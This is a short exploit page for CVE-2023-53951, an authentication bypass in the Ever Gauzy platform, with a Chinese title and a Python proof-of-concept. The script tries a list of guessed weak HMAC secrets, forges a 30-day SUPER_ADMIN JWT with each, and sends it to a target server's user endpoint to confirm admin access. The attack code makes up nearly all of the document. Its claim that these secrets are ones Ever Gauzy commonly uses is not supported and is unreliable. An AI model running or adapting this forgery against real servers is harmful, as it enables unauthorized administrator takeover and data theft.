CVE-2023-53951: Ever Gauzy JWT认证绕过漏洞（CVSS 9.8严重）

import jwt import requests from datetime import datetime, timedelta # CVE-2023-53951 PoC - Ever Gauzy JWT Authentication Bypass # Target: Ever Gauzy v0.281.9 # Vulnerability: Weak HMAC secret key allows JWT token forgery TARGET_URL = "http://target-server:3000" API_ENDPOINT = f"{TARGET_URL}/api/auth/login" # Common weak JWT secret keys used in Ever Gauzy (for testing only) WEAK_SECRETS = [ "ever-gauzy-secret", "gauzy-jwt-secret", "secret", "password", "EverGauzy2023", "default-secret-key" ] def create_fake_admin_token(secret): """Generate a forged JWT token with admin privileges""" payload = { "sub": "1", "email": "[email protected]", "role": "SUPER_ADMIN", "iat": int(datetime.utcnow().timestamp()), "exp": int((datetime.utcnow() + timedelta(days=30)).timestamp()) } token = jwt.encode(payload, secret, algorithm="HS256") return token def test_jwt_forgery(): """Test JWT token forgery with weak secrets""" print("[*] CVE-2023-53951 - Ever Gauzy JWT Bypass PoC") print(f"[*] Target: {TARGET_URL}") for secret in WEAK_SECRETS: forged_token = create_fake_admin_token(secret) print(f"[*] Testing secret: {secret}") print(f"[*] Forged token: {forged_token[:50]}...") # Verify token with target server headers = {"Authorization": f"Bearer {forged_token}"} response = requests.get(f"{TARGET_URL}/api/user/me", headers=headers) if response.status_code == 200: print(f"[!] SUCCESS! Valid token forged with secret: {secret}") print(f"[!] Admin access gained: {response.json()}") return forged_token print("[-] All weak secrets failed, try other keys") return None if __name__ == "__main__": test_jwt_forgery()